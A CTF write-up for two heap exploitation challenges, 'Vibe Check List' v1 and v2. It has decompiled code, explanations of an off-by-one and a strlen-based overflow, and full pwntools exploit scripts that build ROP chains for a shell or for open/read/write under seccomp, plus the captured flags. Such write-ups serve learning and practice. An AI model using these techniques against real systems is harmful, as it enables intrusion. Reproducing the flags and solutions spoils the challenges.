Team: HCS - Murid Mentor
Rank: 7 / 239
Vibe Check List
Description
Analysis
this is a typical heap CRUD challenge, the chunks are stored in the following structure
Copy typedef struct {
char desc[ 0x 50 ];
custom_data * next;
int ID;
int priority;
} custom_data;
with one global variable head
forming a singly linked list.
these are the implementations decompiled with ghidra
addTask
allows us to allocate a chunk and link it to the linked list, we're not able to control size and index or ID of the allocation
Copy void addTask ( void )
{
custom_data * chunk;
int id;
chunk = (custom_data * ) malloc( 0x 60 ) ;
if (chunk == (custom_data * ) 0x 0 ) {
puts( "Failed to allocate memory for new task." ) ;
}
else {
printf( & DAT_00102100) ;
getchar() ;
__isoc99_scanf( " %80s " , chunk) ;
printf( & DAT_00102128) ;
__isoc99_scanf( " %d " , & chunk -> priority) ;
if (head == (custom_data * ) 0x 0 ) {
id = 1 ;
}
else {
id = head -> ID + 1 ;
}
chunk -> ID = id;
chunk -> next = head;
head = chunk;
puts( & DAT_0010214b) ;
}
return ;
}
displayTasks
display will traverse linked list and prints the content until it reaches its tail
Copy void displayTasks ( void )
{
custom_data * curr;
if (head == (custom_data * ) 0x 0 ) {
puts( & DAT_00102168) ;
}
else {
puts( & DAT_001021a0) ;
puts( "==============================================" ) ;
for (curr = head; curr != (custom_data * ) 0x 0 ; curr = curr -> next) {
printf( & DAT_001021c4 , (ulong)( uint ) curr -> ID) ;
printf( & DAT_001021d6 , curr) ;
printf( & DAT_001021ec , (ulong)( uint ) curr -> priority) ;
puts( "==============================================" ) ;
}
}
return ;
}
deleteTask
select and index or ID to be free, also will remove it from the linked list
Copy void deleteTask ( void )
{
long in_FS_OFFSET;
int id;
custom_data * curr;
custom_data * before;
long local_10;
local_10 = * ( long * )(in_FS_OFFSET + 0x 28 );
if (head == (custom_data * ) 0x 0 ) {
puts( & DAT_00102200) ;
}
else {
printf( & DAT_00102238) ;
__isoc99_scanf( " %d " , & id) ;
before = (custom_data * ) 0x 0 ;
for (curr = head; (curr != (custom_data * ) 0x 0 && ( curr -> ID != id)); curr = curr -> next) {
before = curr;
}
if (curr == (custom_data * ) 0x 0 ) {
puts( & DAT_00102267) ;
}
else {
if (before == (custom_data * ) 0x 0 ) {
head = curr -> next;
}
else {
before -> next = curr -> next;
}
free(curr) ;
curr = (custom_data * ) 0x 0 ;
puts( & DAT_00102280) ;
}
}
if (local_10 != * ( long * )(in_FS_OFFSET + 0x 28 )) {
/* WARNING: Subroutine does not return */
__stack_chk_fail() ;
}
return ;
}
modifyTask
edit a chunk within the linked list
Copy void modifyTask ( void )
{
long in_FS_OFFSET;
int local_1c;
custom_data * curr;
long local_10;
local_10 = * ( long * )(in_FS_OFFSET + 0x 28 );
if (head == (custom_data * ) 0x 0 ) {
puts( & DAT_001022a0) ;
}
else {
printf( & DAT_001022c8) ;
__isoc99_scanf( " %d " , & local_1c) ;
for (curr = head; (curr != (custom_data * ) 0x 0 && ( curr -> ID != local_1c)); curr = curr -> next) {
}
if (curr == (custom_data * ) 0x 0 ) {
puts( & DAT_00102267) ;
}
else {
printf( & DAT_001022f8) ;
getchar() ;
__isoc99_scanf( " %80s " , curr) ;
printf( & DAT_00102320) ;
__isoc99_scanf( " %d " , & curr -> priority) ;
puts( & DAT_00102348) ;
}
}
if (local_10 != * ( long * )(in_FS_OFFSET + 0x 28 )) {
/* WARNING: Subroutine does not return */
__stack_chk_fail() ;
}
return ;
}
Vulnerability
The vulnerability lies in the Add and Modify functions, where the program uses scanf
to input 80 characters or 0x50 characters into the desc
field. Although it initially seems harmless, it becomes problematic due to the nature of strings themselves, which are:
a collection/array of characters terminated by a null byte.
This characteristic is also reflected in the use of scanf
with the format specifier %s
. This means the result of scanf
is an input of up to 0x50 characters plus one null byte at the end, making the actual memory input 81 bytes. This vulnerability is commonly referred to as an "off-by-one" error.
Exploitation
with the null byte overwrite, we can perform the operation ptr & 0xff
on the next pointer of a chunk and corrupt the linked list. this enables us to create chunk overlaps, allowing the modification of chunk metadata as follows
from this chunk overlap, we can overwrite the size of a chunk or construct a fake chunk with a large size and then free it (as it is linked to the list) inserting it to the unsorted bin and leak the libc address.
using the same chunk overlap, we can also overwrite a next pointer to an arbitrary address, enabling arbitrary read and write operations.
with libc, we can perform an arbitrary read to leak the stack address via environ
. Then, using arbitrary write, we can overwrite the saved stack address from the main stack frame to execute Return-Oriented Programming (ROP).
here's the final exploit being ran againts the remote server
here's the full exploit script:
Copy #!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './chall'
elf = context . binary = ELF (exe, checksec = True )
libc = './libc.so.6'
libc = ELF (libc, checksec = False )
context . log_level = 'info'
context . terminal = [ "tmux" , "splitw" , "-h" , "-p" , "65" ]
host , port = '0.cloud.chals.io' , 33257
def initialize ( argv = []):
if args . GDB :
return gdb . debug ([exe] + argv, gdbscript = gdbscript)
elif args . REMOTE :
return remote (host, port)
else :
return process ([exe] + argv)
gdbscript = '''
init-pwndbg
breakrva 0x17ef
''' . format ( ** locals ())
# =========================================================
# EXPLOITS
# =========================================================
# └──╼ [★]$ pwn checksec chall_patched
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: b'.'
def add ( content , priority ):
io . sendlineafter ( b 'vibe:' , b '1' )
io . sendlineafter ( b ':' , content)
io . sendlineafter ( b ':' , str (priority). encode ())
def display ():
io . sendlineafter ( b 'vibe:' , b '2' )
def delete ( id ):
io . sendlineafter ( b 'vibe:' , b '3' )
io . sendlineafter ( b ':' , str ( id ). encode ())
def modify ( id , content , priority ):
io . sendlineafter ( b 'vibe:' , b '4' )
io . sendlineafter ( b ':' , str ( id ). encode ())
io . sendafter ( b ':' , content)
io . sendlineafter ( b ':' , str (priority). encode ())
def exploit ():
global io
io = initialize ()
add ( b 'AAAA' , 0x 0 )
add ( b 'B' * 79 + b 'Z' , 0x 0 )
display ()
io . recvuntil ( b 'BZ' )
heap = u64 (io. recvline (). strip (). ljust ( 8 , b '\x00' )) - 0x 2a0
add ( b 'CCCC' , 0x 0 )
add ( b 'DDDD' , 0x 0 )
add ( b 'EEEE' , 0x 0 )
add ( b 'FFFF' , 0x 0 )
add ( b 'GGGG' , 0x 0 )
add ( b 'HHHH' , 0x 0 )
add ( b 'IIII' , 0x 0 )
add ( b 'JJJJ' , 0x 0 )
add ( b 'KKKK' , 0x 0 )
add ( b 'LLLL' , 0x 0 )
add ( b 'MMMM' , 0x 0 )
add ( b 'NNNN' , 0x 0 )
add ( b 'OOOO' , 0x 0 )
add ( b 'PPPP' , 0x 0 )
add ( b 'QQQQ' , 0x 0 )
add ( b 'RRRR' , 0x 0 )
add ( b 'SSSS' , 0x 0 )
add ( b 'TTTT' , 0x 0 )
add ( b 'UUUU' , 0x 0 )
add ( b 'VVVV' , 0x 0 )
add ( b 'WWWW' , 0x 0 )
add ( b 'XXXX' , 0x 0 )
fake_head = b '\x00' * 72 + p32 ( 0x 481 ) + b '\n'
fake_next = b '\x00' *0x 30 + p64 (heap +0x 5b0 ) + b '\n'
modify ( 8 , fake_head, 0x 0 )
modify ( 9 , fake_next, 0x 0 )
modify ( 10 , b 'A' * 79 + b 'B' , 0x 0 )
delete ( 0 )
display ()
io . recvuntil ( b 'AB' )
io . recvlines ( 10 )
io . recvuntil ( b 'Description: ' )
libc . address = u64 (io. recvline (). strip (). ljust ( 8 , b '\x00' )) - 0x 1e0c30
io . recvlines ( 75 ) # cleanup
fake_next = p64 (libc.sym[ 'environ' ]) + b '\n'
modify ( 0x e , fake_next, 0x 0 )
modify ( 0x f , b 'A' * 79 + b 'B' , 0x 0 )
display ()
io . recvuntil ( b 'AB\n' )
io . recvuntil ( b 'Description: ' )
io . recvuntil ( b 'Description: ' )
stack = u64 (io. recvline (). strip (). ljust ( 8 , b '\x00' )) - 0x 1e0c30
target = stack + 0x 1e0b28
fake_next = b '\x00' *0x 20 + p64 (target) + p64 ( 0x 100 ) + b '\n'
modify ( 0x 10 , fake_next, 0x 0 )
modify ( 0x 11 , b 'A' * 79 + b 'B' , 0x 0 )
rop = ROP (libc)
POP_RDI = rop . find_gadget ([ 'pop rdi' , 'ret' ]) [ 0 ]
RET = rop . find_gadget ([ 'ret' ]) [ 0 ]
payload = flat ([
0x 0 ,
POP_RDI,
next (libc. search ( b '/bin/sh\x00' )),
RET,
libc.sym[ 'system' ],
]) + b '\n'
modify ( 0x 0 , payload, 0x 0 )
io . sendlineafter ( b 'vibe:' , b '5' ) # exit
io . sendline ( b 'cat flag*' )
log . info ( 'heap: %#x ' , heap)
log . info ( 'libc: %#x ' , libc.address)
log . info ( 'stack: %#x ' , stack)
io . interactive ()
if __name__ == '__main__' :
exploit ()
Flag: TSA{y0u_4r3_my_h0m1e_n0w_b3c4us3_y0u_4r3_v1b1ng_4nd_g0t_s0m3_r1zz_t00_beb340723a}
Vibe Check List v2
Description
Analysis
this challenge is similar to the previous one with some modification which are as follows:
replacement of scanf
calls with readline
function
Copy ulong readline ( long src , ulong len)
{
ssize_t n;
uint idx;
idx = 0 ;
while ( true ) {
if (len <= (ulong)( long )( int )idx) {
return len;
}
n = read( 0 , ( void * )(src + ( int )idx) , 1 ) ;
if (n != 1 ) break ;
if ( * ( char * )(src + ( int )idx) == '\n' ) {
return (ulong)idx;
}
idx = idx + 1 ;
}
/* WARNING: Subroutine does not return */
exit( 1 ) ;
}
void addTask ( void )
{
custom_data * chunk;
custom_data * next;
int ID;
chunk = (custom_data * ) malloc( 0x 60 ) ;
if (chunk == (custom_data * ) 0x 0 ) {
printf( "\x1b[1;31mFailed to allocate memory for new task.\n\x1b[0m" ) ;
}
else {
printf( & DAT_001021a8) ;
getchar() ;
readline(chunk , 0x 50 ) ;
printf( & DAT_001021d8) ;
__isoc99_scanf( " %d " , & chunk -> priority) ;
if (head == (custom_data * ) 0x 0 ) {
ID = 1 ;
}
else {
ID = head -> ID + 1 ;
}
chunk -> ID = ID;
next = (custom_data * ) mangle_ptr(head , mangle_key) ;
chunk -> next = next;
head = chunk;
printf( & DAT_00102208) ;
}
return ;
}
void modifyTask ( void )
{
size_t len;
long in_FS_OFFSET;
int ID;
custom_data * curr;
long local_10;
local_10 = * ( long * )(in_FS_OFFSET + 0x 28 );
if (head == (custom_data * ) 0x 0 ) {
printf( & DAT_00102450) ;
}
else {
printf( & DAT_00102488) ;
__isoc99_scanf( " %d " , & ID) ;
for (curr = head; (curr != (custom_data * ) 0x 0 && ( curr -> ID != ID));
curr = (custom_data * ) demangle_ptr( curr -> next , mangle_key) ) {
}
if (curr == (custom_data * ) 0x 0 ) {
printf( & DAT_001023e0) ;
}
else {
printf( & DAT_001024c8) ;
getchar() ;
len = strlen( curr -> desc) ;
readline(curr , len) ;
printf( & DAT_001024f8) ;
__isoc99_scanf( " %d " , & curr -> priority) ;
printf( & DAT_00102528) ;
}
}
if (local_10 != * ( long * )(in_FS_OFFSET + 0x 28 )) {
/* WARNING: Subroutine does not return */
__stack_chk_fail() ;
}
return ;
}
custom mangling of next pointer in the linked list
Copy ulong mangle_ptr (ulong ptr , ulong key)
{
return ptr ^ key ^ (key << 7 | key >> 0x 39 );
}
ulong demangle_ptr (ulong ptr , ulong key)
{
return ptr ^ (key << 7 | key >> 0x 39 ) ^ key;
}
seccomp being applied
Copy └──╼ [★]$ sudo seccomp - tools dump . / chall
line CODE JT JF K
=================================
0 000 : 0x 20 0x 00 0x 00 0x 00000000 A = sys_number
0 001 : 0x 15 0x 03 0x 00 0x 00000142 if (A == execveat) goto 0 005
0 002 : 0x 15 0x 02 0x 00 0x 0000003b if (A == execve) goto 0 005
0 003 : 0x 15 0x 01 0x 00 0x 00000039 if (A == fork) goto 0 005
0 004 : 0x 06 0x 00 0x 00 0x 7fff0000 return ALLOW
0 005 : 0x 06 0x 00 0x 00 0x 00000000 return KILL
Vulnerability
although the off-by-one issue no longer exists, during modifyTask
, the size edit is determined by the length of the data inside the chunk.
If the data fully fills the chunk, strlen
will also count the bytes beyond the data and as the mangled pointer of the chunk is located immediately afterwards it without a NULL byte as a separator, it will also count it as the length that is able to be edited.
As a result, it is possible to hijack the next pointer of the chunk.
Note that this vulnerability only exists in the modifyTask
, as the addTask
inputs data with a hard-coded size.
Exploitation
first, to bypass mangling, since the key is symmetric, both demangling and mangling use the same key and the same mathematical operations.
moreover, it is not necessary to recover the entire key to recreate the operation. consider the following operation that is used:
Copy chunk_ptr ^ key ^ (key << 7 | key >> 0x39);
this can be simplified as:
Copy chunk_ptr ^ (obfuscated_key);
if the chunk is the first chunk and also the tail of the linked list (i.e., next
is NULL
), then:
Copy NULL ^ (obfuscated_key) = obfuscated_key
thus, we can obtain the value of the obfuscated key, which can then be used for both mangling and demangling operations, as demonstrated in the following test script.
next, we can hijack the next pointer to create overlapping chunks and UAF.
the rest of the exploitation process is similar to the previous one, except that the ROP chain is used not to spawn a shell but to perform an ORW as seccomp exists
here's the exploit being ran againts the remote server
here's the full exploit script:
Copy #!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './chall'
elf = context . binary = ELF (exe, checksec = True )
libc = './libc.so.6'
libc = ELF (libc, checksec = False )
context . log_level = 'info'
context . terminal = [ "tmux" , "splitw" , "-h" , "-p" , "65" ]
host , port = '0.cloud.chals.io' , 10882
def initialize ( argv = []):
if args . GDB :
return gdb . debug ([exe] + argv, gdbscript = gdbscript)
elif args . REMOTE :
return remote (host, port)
else :
return process ([exe] + argv)
gdbscript = '''
init-pwndbg
breakrva 0x1c4a
''' . format ( ** locals ())
# =========================================================
# EXPLOITS
# =========================================================
def add ( content , priority ):
io . sendlineafter ( b 'vibe:' , b '1' )
io . sendlineafter ( b ':' , content)
io . sendlineafter ( b ':' , str (priority). encode ())
def display ():
io . sendlineafter ( b 'vibe:' , b '2' )
def delete ( id ):
io . sendlineafter ( b 'vibe:' , b '3' )
io . sendlineafter ( b ':' , str ( id ). encode ())
def modify ( id , content , priority ):
io . sendlineafter ( b 'vibe:' , b '4' )
io . sendlineafter ( b 'modify:' , str ( id ). encode ())
io . sendafter ( b 'description:' , content)
io . sendlineafter ( b '(1-5):' , str (priority). encode ())
def custom_mangle ( val , key ):
# return val ^ (key << 7 | key >> 0x39) ^ key
return val ^ key
def custom_demangle ( val , key ):
# return val ^ (key << 7 | key >> 0x39) ^ key
return val ^ key
def demangle ( val ):
mask = 0x fff << 52
while mask :
v = val & mask
val ^= (v >> 12 )
mask >>= 12
return val
def mangle ( heap_addr , val ):
return (heap_addr >> 12 ) ^ val
def exploit ():
global io
io = initialize ()
add ( b 'A' * 79 + b 'Z' , 0x 0 )
add ( b 'B' * 79 + b 'Z' , 0x 0 )
display ()
io . recvuntil ( b 'BZ' )
mangled_ptr = u64 (io. recv ( 8 ))
io . recvuntil ( b 'AZ' )
key = u64 (io. recv ( 8 )) # MANGLED NULL PTR
mangled_null_ptr = key
heap = custom_demangle (mangled_ptr, key) - 0x 2a0
# ===========================================
# CHUNK OVERLAP -> UNSORTED LEAK LIBC
# ===========================================
for i in range ( 20 ):
if len ( str (i)) == 1 :
add ( f ' { i + 3} ' . encode () * 80 , 0x 0 )
else :
add ( f ' { i + 3} ' . encode () * ( 80 // 2 ), 0x 0 )
# modify(20, b'./\x00\n', 1) # heap+0xaf0, only for getdents
modify ( 20 , b 'flag-321527cfeb1aca7161a63a77b958ffbe.txt\x00\n' , 1 ) # heap+0xaf0
fake_chunk = b '\x00' *0x 38 + p64 ( 0x 491 ) + b '\x00' *0x 10 + p64 (mangled_null_ptr) + p8 ( 0x 0 )
fake_next = b '\x00' *0x 20 + p64 (mangled_null_ptr) + p64 ( 0x 0 ) + b '\x00' *0x 20 + p64 ( custom_mangle (heap +0x 2e0 , key)) + p8 ( 0x 2 )
modify ( 1 , fake_chunk, 1 )
modify ( 2 , fake_next, 1 )
delete ( 0 )
fake_next = b '\x00' * 80 + p64 ( custom_mangle (heap +0x 2e0 , key)) + p8 ( 0x 3 )
modify ( 3 , fake_next, 1 )
display ()
io . recvuntil ( b 'ID: 0' )
io . recvuntil ( b 'Description: ' )
libc . address = u64 (io. recv ( 6 ). ljust ( 8 , b '\x00' )) - 0x 21ace0
# ===========================================
# UAF LEAK STACK
# ===========================================
delete ( 3 )
delete ( 4 )
fake_next = b '\x00' * 80 + p64 ( custom_mangle (heap +0x 3f0 , key)) + p8 ( 0x 5 )
modify ( 5 , fake_next, 1 )
next_ptr = p64 ( mangle (heap, libc.sym[ 'environ' ] +0x 50 )) [ : - 2 ]
assert ( len (next_ptr) == 6 )
modify ( 4 , next_ptr, 1 )
# fake_next = b'\x00'*80 + p64(mangled_null_ptr) + p8(0x6)
# modify(6, fake_next, 1)
add ( b '\x00' * 80 , 0x 0 )
add ( p64 (mangled_null_ptr) + p64 ( 77 ), 0x 0 )
fake_next = b '\x00' * 80 + p64 ( custom_mangle (libc.sym[ 'environ' ], key)) + p8 ( 0x 7 )
modify ( 7 , fake_next, 1 )
display ()
io . recvuntil ( b 'ID: 77' )
io . recvuntil ( b 'Description: ' )
stack = u64 (io. recv ( 6 ). ljust ( 8 , b '\x00' ))
rip = stack - 0x 120 - 0x 8 # allignment
# ===========================================
# UAF ROP STAGE 1
# ===========================================
rop = ROP (libc)
POP_RAX = rop . find_gadget ([ 'pop rax' , 'ret' ]) [ 0 ]
POP_RDI = rop . find_gadget ([ 'pop rdi' , 'ret' ]) [ 0 ]
POP_RSI = rop . find_gadget ([ 'pop rsi' , 'ret' ]) [ 0 ]
POP_RDX_R12 = rop . find_gadget ([ 'pop rdx' , 'pop r12' , 'ret' ]) [ 0 ]
SYSCALL_RET = rop . find_gadget ([ 'syscall' , 'ret' ]) [ 0 ]
payload = flat ([
0x 0 , # allignment
POP_RDI,
0x 0 ,
POP_RSI,
rip +0x 58 ,
POP_RDX_R12,
0x 500 , 0x 0 ,
POP_RAX,
0x 0 ,
SYSCALL_RET,
])
delete ( 8 )
delete ( 9 )
fake_next = b '\x00' * 80 + p64 ( custom_mangle (heap +0x 620 , key)) + p8 ( 10 )
modify ( 10 , fake_next, 1 )
next_ptr = p64 ( mangle (heap, rip)) [ : - 2 ]
assert ( len (next_ptr) == 6 )
modify ( 9 , next_ptr, 1 )
add ( b '\x00' * 80 , 1 )
add (payload[: 0x 50 ], 1 )
# ===========================================
# UAF ROP STAGE 2
# ===========================================
delete ( 11 )
delete ( 12 )
fake_next = b '\x00' * 80 + p64 ( custom_mangle (heap +0x 770 , key)) + p8 ( 13 )
modify ( 13 , fake_next, 1 )
next_ptr = p64 ( mangle (heap, rip +0x 50 )) [ : - 2 ]
assert ( len (next_ptr) == 6 )
modify ( 12 , next_ptr, 1 )
add ( b '\x00' * 80 , 1 )
add (payload[ 0x 50 :], 1 )
# ===========================================
# FINAL ROP STAGE 3
# ===========================================
io . sendlineafter ( b 'vibe:' , b '5' )
# pause()
payload = flat ([
# open
POP_RDI,
heap +0x af0 ,
POP_RSI,
# 65536, # only for getdents
0x 0 ,
POP_RDX_R12,
0x 0 , 0x 0 ,
POP_RAX,
0x 2 ,
SYSCALL_RET,
POP_RDI,
0x 3 ,
POP_RSI,
heap +0x af0 ,
POP_RDX_R12,
0x 500 , 0x 0 ,
# read
POP_RAX,
0x 0 ,
# getdents
# POP_RAX,
# 78,
SYSCALL_RET,
# write
POP_RDI,
0x 1 ,
POP_RAX,
0x 1 ,
SYSCALL_RET,
]) + b '\n'
io . sendline (payload)
log . info ( "key %#x " , key)
log . info ( "heap %#x " , heap)
log . info ( "libc %#x " , libc.address)
log . info ( "stack %#x " , stack)
io . interactive ()
if __name__ == '__main__' :
exploit ()
Flag: TSA{1_d0n7_kn0w_h0w_y0u_c4n_r34d_7h1s_bu7_1_kn0w_y0ur_4ur4_1s_+1000000_5b27789b2a}